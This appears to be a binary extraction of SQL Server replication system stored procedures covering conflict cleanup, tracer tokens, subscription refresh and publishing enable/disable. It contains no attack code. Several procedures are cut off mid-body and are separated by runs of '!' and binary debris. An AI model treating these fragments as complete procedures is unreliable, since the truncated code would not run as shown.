	--do not do any cleanup if conflict retention value is 0
	else if @conflict_retention = 0
		return (0)

	select @pubname=name from dbo.sysmergepublications where pubid=@pubid
	select @pubidstr = convert(nvarchar(40), @pubid)
	select @valid_date = dateadd(day, -@conflict_retention, getdate())
	select @retention_string = convert(nvarchar, @conflict_retention)
	/*
	** Security Check
	*/
	EXEC @retcode = sys.sp_MSreplcheck_publish
	IF @@ERROR <> 0 or @retcode <> 0
        	return (1)
	
	declare AC CURSOR LOCAL FAST_FORWARD for select conflict_table from dbo.sysmergearticles where pubid=@pubid
	open AC
	fetch AC into @conflict_table
	while (@@fetch_status<>-1)
	begin
		if @conflict_table is NOT null
			begin

			select @conflict_id = object_id(@conflict_table)
			select @conflict_table=QUOTENAME(@conflict_table)

			if @conflict_id is not NULL and @retention_string is not NULL 
					begin
						exec ('delete from ' + @conflict_table + ' from ' + @conflict_table + ' ct , MSmerge_conflicts_info info where 
							ct.rowguidcol = info.rowguid and ct.origin_datasource_id=info.origin_datasource_id and 
							datediff(dd, info.MSrepl_create_time, getdate()) > ' + @retention_string 
							+ ' and info.pubid = ''' + @pubidstr + '''')
						if @@ERROR<>0
							goto FAILURE
						exec ('delete from MSmerge_conflicts_info where datediff(dd, MSrepl_create_time, getdate()) > ' + @retention_string 
							+ ' and pubid = ''' + @pubidstr + '''')
						if @@ERROR<>0
							goto FAILURE
					end
			end
		fetch next from AC into @conflict_table
	end
	close AC
	deallocate AC
	return (0)
FAILURE:
	close AC
	deallocate AC
	raiserror(20709, 16, -1, @conflict_table, @pubname);
	return (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<7	si0 	8create procedure sys.sp_MSmergepullsubscriptionagentjobcontrol
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @action         tinyint 
)
WITH EXECUTE AS 'dbo'
as
begin
    set nocount on
    declare @retcode            int
    declare @job_id             uniqueidentifier
    declare @subscription_type  int
    declare @pubid              uniqueidentifier
    declare @subscriber         sysname
    declare @subscriber_db      sysname

    set @retcode = 0
    set @job_id = null
    set @subscription_type = null
    set @subscriber = @@servername
    set @subscriber_db = db_name()    

    if object_id('dbo.sysmergepublications') is null
    begin
        raiserror (20017, 16, -1)
        return 1
    end

    select @pubid = pubid 
      from dbo.sysmergepublications
     where name = @publication
       and upper(publisher) = upper(@publisher)
       and publisher_db = @publisher_db
    if @pubid is null
    begin
        raiserror (20026, 16, -1, @publication)
        return 1
    end
    
    select @subscription_type = subscription_type
      from dbo.sysmergesubscriptions
     where upper(subscriber_server) = upper(@subscriber)
       and pubid <> subid
       and pubid = @pubid
       and db_name = @subscriber_db
    if @subscription_type is null or @subscription_type = 0
    begin
        raiserror (20017, 16, -1)
        return 1
    end

    if object_id('dbo.MSsubscription_properties') is not null
    begin
        select @job_id = sjs.job_id
          from MSsubscription_properties sp
    inner join msdb.dbo.sysjobsteps sjs
            on sp.job_step_uid = sjs.step_uid
    inner join msdb.dbo.sysjobs_view sjv
            on sjv.job_id = sjs.job_id
         where upper(publisher) = upper(@publisher)
           and publisher_db = @publisher_db
           and publication = @publication              
           and sjv.master_server = 0
           and sjv.category_id = 14
           and sjs.subsystem = N'Merge'
           and (sjs.database_name is null or sjs.database_name = db_name())
    end

    if @job_id is null
    begin
        -- "The specified pull subscription is not configured with a synchronization agent job."
        raiserror(21848, 16, -1)
        return 1
    end

    exec @retcode = sys.sp_MSreplicationagentjobcontrol 
        @job_id = @job_id,
        @action = @action
    return @retcode
end
0 8 
-- add it
create view sys.dm_pdw_nodes_db_session_space_usage as
select *, convert(int, null) pdw_node_id from sys.dm_db_session_space_usage
0 D8F&h+$0 8--
-- Name: 
--		sp_MSadd_tracer_token
-- 
-- Description: 
--		This procedure will log the parent tracer record token row (MStracer_tokens).
--		A tracer record parent token row is defined as the record which 
--		tracks the amount of time it took from when the tracer was inserted 
--		into the log to when the logreader picked it up and inserted it into
--		at the distribution database. We call it the parent because there is
--		there is only one per tracer token inserted into the publisher.
--  
-- Parameters: 
--		@publisher			sysname			publisher name
--		@publisher_db		sysname			publisher database
--		@publication		sysname			publication
--		@tracer_id			int    			outputs the newly inserted tracer token id
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		None
--
-- Security: 
--		Sysadmin (never run by dist agent)
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSadd_tracer_token
(
	@publisher			sysname,
	@publisher_db		sysname,
	@publication		sysname,
	@tracer_id			int output,
	@subscribers_found	bit = 0 output
)
as
begin
	set nocount on

	declare @retcode 				int,
			@publication_id			int,
			@SNAPSHOT_PUB			int

    --	
    -- security check
    -- only sysadmin can execute this
    --
    if (isnull(is_srvrolemember('sysadmin'),0) = 0) 
    begin
        raiserror(21089, 16, -1)
        return (1)
    end
	
	select @retcode 				= 0,
			@publication_id			= NULL,
			@tracer_id				= NULL,
			@SNAPSHOT_PUB			= 1,
			@subscribers_found		= 0
			
	-- retrieve the publication id and ensure no snapshot pub is selected
 	select @publication_id = msp.publication_id
		from dbo.MSpublications msp
			join sys.servers ss
				on msp.publisher_id = ss.server_id
		where UPPER(ss.name) = UPPER(@publisher)
			and msp.publisher_db = @publisher_db
			and msp.publication = @publication
			and msp.publication_type <> @SNAPSHOT_PUB

	if @publication_id is NULL
	begin 
		-- Publication 'publication' does not exist.
		raiserror(21200, 16, -1, @publication)
		return 1
	end

	-- check if there are any active distribution agents for.
	if not exists(select * 
					from sys.fn_activedistributionagentids(@publication_id))
	begin
		return 0
	end

	-- now we know that we have subscribers
	select @subscribers_found = 1

	begin transaction tr_sp_MSadd_tracer_token
	save transaction tr_sp_MSadd_tracer_token
	
	-- now perform an insert for the tracer token
	insert into MStracer_tokens
		(
			publication_id,
			publisher_commit
		) values 
		(
			@publication_id,
			getdate()
		)
	if @@error <> 0
		goto Err_Handler

	-- set the output tracer_id value
	select @tracer_id = scope_identity()
	
	commit transaction tr_sp_MSadd_tracer_token
	
	return 0

Err_Handler:
	rollback transaction tr_sp_MSadd_tracer_token
	commit transaction 
 
	return 1
end
ck - should be dbo or sysadmin
	declare @retcode int
	exec @retcode = sp_MSreplcheck_subscribe
	if @@ERROR != 0 or @retcode != 0
		return

	if not exists (select * from MSpeer_conflictdetectionconfigrequest where id = @request_id) --request does not exists
		return

	begin tran 
	save tran tr_topology_applyresponse

	--@peer_subscriptions is extended to contain the root: /peer_subs
       select @peer_subscriptions = N'<peer_subs>' + @peer_subscriptions + N'</peer_subs>' 
	
	begin try
		insert MSpeer_conflictdetectionconfigresponse (request_id, peer_node, peer_db, peer_version, is_peer, peer_subscriptions, progress_phase)
		values (@request_id, @peer_node, @peer_db, @peer_version, 1, convert(xml, @peer_subscriptions), N'peer version collected')
	end try
	begin catch
       	if @@error in (2627, 2601)  ---primary key/unique violation
       	begin
      			update MSpeer_conflictdetectionconfigresponse
			set	peer_version = @peer_version,
				is_peer = 1,
				peer_subscriptions = @peer_subscriptions,
				progress_phase = N'peer version collected',
				modified_date = GETDATE()
			where request_id = @request_id
				and peer_node = @peer_node
				and peer_db = @peer_db
				and progress_phase = N'started'
				
			if @@error <> 0
				goto UNDO
       	end
       	else
       		goto UNDO
       end catch

       --incorporate subscribers into MSpeer_conflictdetectionconfigresponse
	declare @DocHandle int
	exec sp_xml_preparedocument @DocHandle OUTPUT, @peer_subscriptions
	if @@error <> 0
		goto UNDO
	
	insert MSpeer_conflictdetectionconfigresponse (request_id, peer_node, peer_db, progress_phase)
	select @request_id, sub_node, sub_db, N'started'
	from (	select  *
	 		from OPENXML (@DocHandle, N'/peer_subs/sub', 1)
	 		with (sub_node sysname, sub_db sysname)
	 	) A
	 where not exists (select * from MSpeer_conflictdetectionconfigresponse
	 				where request_id = @request_id and peer_node = A.sub_node and peer_db = A.sub_db)
	
	if @@error <> 0
		goto UNDO

	exec sp_xml_removedocument @DocHandle
	if @@error <> 0
		goto UNDO

       commit tran
       return 

UNDO:
	rollback tran tr_topology_applyresponse
	commit tran
	return
end 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.
7
`<D
}0< 8
--
-- Name: sp_MSrepl_refreshsubscriptions
--
-- Description: Internal SP to Add article to existing subscriptions
--
-- Parameter: (see proc below)
--
-- Returns: 
--
-- Security: Internal 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSrepl_refreshsubscriptions
(
	@publication	sysname,
	@publisher		sysname,
	@publisher_type	sysname
)
AS
BEGIN
    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    DECLARE @article  sysname 
                    ,@subscriber sysname
                    ,@dest_db sysname
                    ,@retcode int
                    ,@pubid int
                    ,@immediate_sync bit 
                    ,@no_sync tinyint
                    ,@subscription_type_id int
                    ,@subscription_type nvarchar(4)
                    ,@virtual smallint
                    ,@sync_typeid int
                    ,@nosync_type int
                    ,@sync_type nvarchar(100)
                    ,@update_mode_id tinyint
                    ,@update_mode nvarchar(30)

    SELECT @no_sync = 2
                ,@virtual = -1

    /*
    ** Security Check
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Check to see if the database has been activated for publication.
    */
    IF sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check:  @publication.
    ** Make sure that the publication exists
    */

    IF @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_refreshsubscriptions')
            RETURN (1)
        END

    --
    -- Verify publication exists
    --
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

	IF (@pubid IS NULL)
	BEGIN
		RAISERROR (20026, 11, -1, @publication)
		RETURN (1)
	END

    /* Add real subscription to the new articles  */
    /* Open a cursor on all the pending subscriptions, that is */
    /* All the subscriptions on the publication that */
    /* are not on an article in the publication. */
    /* not including virtual subscriptions */

    DECLARE hCrefreshsubscriptions CURSOR LOCAL FAST_FORWARD FOR
        SELECT DISTINCT art1.name, subs1.dest_db, subs1.srvname
            FROM syssubscriptions subs1, sysextendedarticlesview art1
            WHERE art1.pubid = @pubid AND
                  subs1.srvid <> @virtual AND
                  EXISTS (SELECT * FROM syssubscriptions subs2, sysextendedarticlesview art2
                    WHERE subs2.srvname = subs1.srvname AND
                          subs2.dest_db = subs1.dest_db AND
                          subs2.artid = art2.artid AND
                          art2.pubid = @pubid) AND
                  NOT EXISTS ( SELECT * FROM syssubscriptions subs3 
                    WHERE  subs3.artid = art1.artid AND
                           subs3.srvname = subs1.srvname AND
                           subs3.dest_db = subs1.dest_db)
    FOR READ ONLY
    OPEN hCrefreshsubscriptions
    FETCH hCrefreshsubscriptions INTO @article,  @dest_db, @subscriber
            
    
    WHILE (@@fetch_status <> -1)
    BEGIN

        /* 
        ** Get subscription meta data common to this publication
        */ 
        SELECT @subscription_type_id = subs.subscription_type
            ,@sync_typeid = subs.sync_type
            ,@nosync_type = subs.nosync_type
            ,@update_mode_id = subs.update_mode
         from 
            sysextendedarticlesview art, syssubscriptions subs where 
            art.pubid = @pubid AND
            subs.srvname = @subscriber AND
            subs.dest_db = @dest_db AND
            subs.artid = art.artid

        /* 
        ** only do it if the subscription all have the same subscription type
        ** and sync_type
        */
        IF NOT EXISTS (SELECT * from 
            sysextendedarticlesview art, syssubscriptions subs where 
            art.pubid = @pubid AND
            subs.srvname = @subscriber AND
            subs.dest_db = @dest_db AND
            subs.artid = art.artid AND
            (subscription_type <> @subscription_type_id OR
            sync_type <> @sync_typeid OR
            update_mode != @update_mode_id))
        BEGIN
            SELECT @subscription_type = case when (@subscription_type_id = 0) then 'push' else 'pull' end
                ,@sync_type = case 
                		when (@sync_typeid = 1) then 'automatic' 
						when (@sync_typeid = 2 and @nosync_type in (1, 2, 3)) then 'replication support only'
						else 'none' end
                ,@update_mode = case 
                        when (@update_mode_id = 0) then N'read only'
                        when (@update_mode_id = 1) then N'sync tran'
                        when (@update_mode_id in (2,4)) then N'queued tran'
                        when (@update_mode_id in (3,5)) then N'failover'
                        when (@update_mode_id in (6,7)) then N'queued failover'
                        else N'bad update mode' end

			
            EXECUTE @retcode =	sys.sp_addsubscription 
								@publication		= @publication, 
								@article			= @article, 
								@subscriber			= @subscriber, 
								@destination_db		= @dest_db, 
								@sync_type			= @sync_type, 
								@status				= NULL, 
								@subscription_type	= @subscription_type,
								@update_mode        = @update_mode,
								@reserved			= 'internal',
								@publisher			= @publisher

            IF @@ERROR <> 0 OR @retcode <> 0
            BEGIN
                CLOSE hCrefreshsubscriptions
                DEALLOCATE hCrefreshsubscriptions
                RETURN (1)
            END
        END
        FETCH hCrefreshsubscriptions INTO @article, @dest_db, @subscriber
    END
    
    CLOSE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name,
      @ignore_distributor bit = 0,
      @from_backup        bit = 0
    ) AS
    
    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    declare @quoted_db      sysname
    declare @command        nvarchar(255)
    declare @description    nvarchar(500)
    declare @category_name  nvarchar(100)
    DECLARE @agentname      nvarchar(300)
    DECLARE @dbname         sysname 
    DECLARE @db_mergebit    int 
    DECLARE @retcode        int
    DECLARE @distributor    sysname
    DECLARE @distribdb      sysname
    DECLARE @distproc       nvarchar (255)
    				,@publisher sysname
    /*
    ** Initialization
    */

    SELECT @dbname = DB_NAME()
				,@db_mergebit = 4
				,@publisher = publishingservername()

    /*
    ** Parameter check
    ** @value
    */
    IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true','false')
    BEGIN
      RAISERROR(14137,16,-1)
      RETURN(1)
    END

    /*
    ** if @ignore_distributor = 1, we are in bruteforce cleanup mode, don't do RPC.
    */
    if @ignore_distributor = 0
    begin
        /*
        ** Test to see if the distributor is installed and online.
        */
        EXECUTE @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
           @distribdb   = @distribdb OUTPUT

        IF @@ERROR <> 0 or @retcode <> 0 or @distributor IS NULL or @distribdb IS NULL
        BEGIN
            IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
                RAISERROR (20028, 16, -1)
            ELSE
                RAISERROR (20029, 16, -1)
            RETURN (1)
        END
    end

    /*
    ** Enable the database for publishing.
    */
    IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
    BEGIN

        /*
        ** Drop and then create central publish tables
        */

        /* 
        ** Drop first if exists
        */

        EXEC @retcode = sys.sp_MSdrop_pub_tables
        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
            return (1)
        END

        /*
        ** Create central publish tables
        */

        EXEC @retcode = sys.sp_MScreate_pub_tables
        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
            return (1)
        END
	
       /*
	    ** Create central publish tables only if cmplevel IS_MEMBER over 80
    	*/
	    if not exists (select * from master.dbo.sysdatabases 
							where dbid = db_id() and cmptlevel >= 80)
		begin
			raiserror(21809, 10, 1)
		end	
    END

    ELSE    /* Disable the database for publishing. */
    BEGIN
        /* 
	    ** Drop first if exists, to be consistant with pub tables
    	*/
        /*
        ** Remove all subscriptions in the database.
        ** WARNING : must owner qualify proc calls for these to run inside server on restore/attach
        */
        EXEC @retcode = sys.sp_dropsubscription @publication = 'all',
            @article = 'all', @subscriber = 'all', 
            @ignore_distributor = @ignore_distributor
        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
            return (1)
        END

        -- Used for attach and restored db.
        -- sysservers table in master db might be changed so that
        -- sp_dropsubscription won't work. Delete the table directly.

        delete syssubscriptions where srvid >= 0
        IF @@ERROR <> 0 
        BEGIN
            return (1)
        END

        /*
        ** Remove all publications and articles in the database.
        ** sp_droppublication will also forcefully unmark repl bits in sys.objects
        ** and call sp_repldone when dropping the last
        ** publication.
        */
        EXEC @retcode = sys.sp_droppublication @publication = 'all', 
            @ignore_distributor = @ignore_distributor,
            @from_backup = @from_backup
        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
            return (1)
        END
        /* 
        ** Drop central publish tables
        */ 
        EXEC @retcode = sys.sp_MSdrop_pub_tables
        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
            return (1)
        END

	

        --
        -- drop the database wide pal role
        --
        if exists (select * from sys.database_principals where name='MStran_PAL_role' and type = 'R')
        begin
            --
            -- drop the members for MStran_PAL_role role.
            --
           exec @retcode = sys.sp_MSrepl_drop_all_role_members @rolename = 'MStran_PAL_role'          
		   if @@ERROR <> 0 or @retcode <> 0 
                    return (1)

            exec @retcode = sys.sp_droprole @rolename = 'MStran_PAL_role'
            if @@ERROR <> 0 or @retcode <> 0 
                return (1)
        end
        /*
        ** Drop publisher database level agents in new security mode
        */
		IF @ignore_distributor = 0
		BEGIN
			-- drop logreader agent
			SELECT @distproc = QUOTENAME(@distributor) + '.' + QUOTENAME(@distribdb) + '.dbo.sp_MSdrop_logreader_agent'
			EXECUTE @retcode = @distproc @publisher = @publisher,
								@publisher_db = @dbname,
								@publication = 'ALL'
			IF @@ERROR <> 0 or @retcode <> 0
				RETURN 1
				
			-- drop qreader agent
		END

        -- At this point we should have dropped the logreader agent so we check to see
        --  if CDC is enabled, if so we add the CDC job
        IF [sys].[fn_cdc_is_db_enabled]() = 1
        BEGIN
            exec @retcode = [sys].[sp_cdc_add_job] @job_type = N'capture'
            if @@error <> 0 or @retcode <> 0
                return 1
        END 
	END
	
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`"
b
< ^0Pj0;} ,
8create function sys.fn_removeparameterwithargument(
    @command nvarchar(3200),
    @parameter nvarchar(200)
    ) returns nvarchar(3200)
begin

    declare @pattern nvarchar(806)
    declare @resulting_command nvarchar(3200)
    declare @command_length int
    declare @pattern_start int
    declare @first_iteration bit
    declare @parameter_length int

    select @first_iteration = 1
    select @pattern = sys.fn_generateparameterpattern(@parameter)
    select @parameter_length = len(@parameter) + 1 -- leading - or /
    
    select @resulting_command = N''
    select @pattern_start = patindex(@pattern,@command) 
    while @pattern_start <> 0 and @pattern_start is not NULL
    begin
        select @command_length = len(@command)

        -- Check if the pattern found is properly delimited in the command.
        -- If so, try to skip over the next token. 
        if (@pattern_start = 1 and @first_iteration = 1 or
            (@pattern_start > 1 and sys.fn_chariswhitespace(substring(@command, @pattern_start - 1, 1)) = 1))  and
            (sys.fn_chariswhitespace(substring(@command, @pattern_start + @parameter_length, 1)) = 1)             
        begin
            -- Add everything before the parameter to the resulting command
            select @resulting_command = @resulting_command + rtrim(substring(@command, 1, @pattern_start - 1))

            -- Eat the parameter
            select @command = substring(@command, @pattern_start + @parameter_length, @command_length - @pattern_start - @parameter_length + 1)

            -- Skip over the argument of the parameter
            select @command = sys.fn_skipparameterargument(@command)

            if @resulting_command <> N''
            begin
                select @resulting_command = @resulting_command + N' '
            end
        end  
        else    
        begin
            -- Not a properly delimited parameter so transfer the 
            -- matching substring to the resulting command and
            -- eat the substring in the process
            select @resulting_command = @resulting_command + substring(@command, 1, @pattern_start + @parameter_length - 1)
            select @command = substring(@command, @pattern_start + @parameter_length, @command_length - @pattern_start - @parameter_length + 1)
        end
        select @first_iteration = 0
        select @pattern_start = patindex(@pattern, @command) 
    end 
    select @resulting_command = @resulting_command + @command
    return @resulting_command
end
0cf P
8create procedure sys.sp_MSactivate_auto_sub
(
    @publication			sysname,
    @article				sysname,
    @status					sysname = 'active',
    @skipobjectactivation	int = 0,
    @publisher				sysname = null
)
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @retcode		int
	DECLARE	@publisher_type	sysname
	DECLARE @pubid          int
	DECLARE @from_auto_sync	int

	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@publisher_type	= @publisher_type OUTPUT,
													@skipSecurityCheck	= 1
	
	IF @retcode <> 0
		RETURN (@retcode)

	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT

    /*
    ** Security Check.
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Check to see if the database has been activated for publication.
    */
    IF sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END

    -- parameter check: @status:  

    IF LOWER(@status collate SQL_Latin1_General_CP1_CS_AS) not in (N'active', N'initiated')
    BEGIN
        RAISERROR(21156, 16, -1)
        RETURN 1
    END

    /*
    ** Parameter Check:  @publication.
    ** Make sure that the publication exists and the publication is not push type
    */

    IF @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_MSactivate_auto_sub')
            RETURN (1)
        END

    --
    -- Verify publication exists
    --
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

	IF (@pubid IS NULL)
	BEGIN
		RAISERROR (20026, 11, -1, @publication)
		RETURN (1)
	END
    
    BEGIN TRAN

    IF @status = N'active'
    BEGIN
		UPDATE	syspublications
		SET		immediate_sync_ready = 1 
		WHERE	immediate_sync = 1
		  AND	immediate_sync_ready <> 1
		  AND	pubid = @pubid
		
        IF @@ERROR <> 0
        BEGIN
            GOTO UNDO
            RETURN (1)
        END
    END
    
    SET @from_auto_sync = 1

    EXECUTE @retcode =	sys.sp_changesubstatus 
						@publication = @publication,
						@article = @article,
						@status = @status,
						@from_auto_sync = @from_auto_sync,
						@skipobjectactivation = @skipobjectactivation,
						@publisher = @publisher

    IF @@ERROR <> 0 OR @retcode <> 0
    BEGIN
        GOTO UNDO
        RETURN (1)
    END
    
    COMMIT TRAN
    RETURN(0)

UNDO:
    IF @@TRANCOUNT = 1
        ROLLBACK TRAN
    ELSE
        COMMIT TRAN
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`	<}=60G 8create procedure sys.sp_MSget_synctran_commands
(
	@publication  sysname,
	@article      sysname = 'all',
	@command_only bit     = 0,		-- 0 if snapshot agent, 1 if sp_script_...
	@publisher    sysname = NULL,
	@publisher_db sysname = NULL,
	@alter        bit     = 0,		-- if 1 script alter, otherwise script create
    @trig_only    bit     = 0,
    @usesqlclr    bit     = 0                   -- if 1, certain stored proc (e.g., sys.sp_MSscriptsynctrancommands_sqlclr) needs to be signed for min-privilege use
) AS
BEGIN
    SET NOCOUNT ON
    DECLARE	@tabid          int,
			@retcode        int,
			@distributor    sysname,
			@pubid          int,
			@art_name       sysname,
			@all_article    bit,
			@is_synctran	bit,
			@is_queued      bit,
			@publisher_type sysname,
			@has_ts         bit,
			@has_ident      bit

    /* 
    ** Security Check.
    ** We use login_name stored in syssubscriptions to manage security 
    ** Do a relaxed security check here.
    */
    if (@trig_only = 0)
    begin
        exec @retcode = sys.sp_MSreplcheck_publish
        if @@ERROR <> 0 or @retcode <> 0
            return(1)
    end
    else
    begin
        exec @retcode = sp_MSreplcheck_pull
                        @publication = @publication,
                        @raise_fatal_error = 0
        if @@ERROR <> 0 or @retcode <> 0
            return(1)
    end

    /*
    ** Parameter Check:  @publication
    ** Check to make sure that the publication exists, that it's not NULL,
    ** and that it conforms to the rules for identifiers.
    */
    IF @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_MSget_synctran_commands')
            RETURN (1)
        END

	-- Get publisher type
    if @trig_only = 0
    begin
    	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
    													@publisher_type	= @publisher_type OUTPUT,
													@skipSecurityCheck	= 1
    
    	IF @retcode <> 0
    	BEGIN
    		RETURN (1)
    	END
    end
    else
    begin
        select @publisher_type = N'MSSQLSERVER'
    end

	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT

    IF @publisher IS NULL
    BEGIN
        set @publisher = publishingservername()
    END
    
    -- validate @publisher_db
    IF @publisher_db IS NULL
    BEGIN
        set @publisher_db = db_name()
    END
    
    --
    -- Verify publication exists
    --
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

	IF (@pubid IS NULL)
	BEGIN
		RAISERROR (20026, 11, -1, @publication)
		RETURN (1)
	END

    IF @usesqlclr = 1
    BEGIN
        EXEC @retcode = sys.sp_MSscriptsynctrancommands_sqlclr
            @publication = @publication
            ,@article = @article
            ,@publisher = @publisher
            ,@publisher_type = @publisher_type
            ,@command_only = @command_only
            ,@trig_only = @trig_only
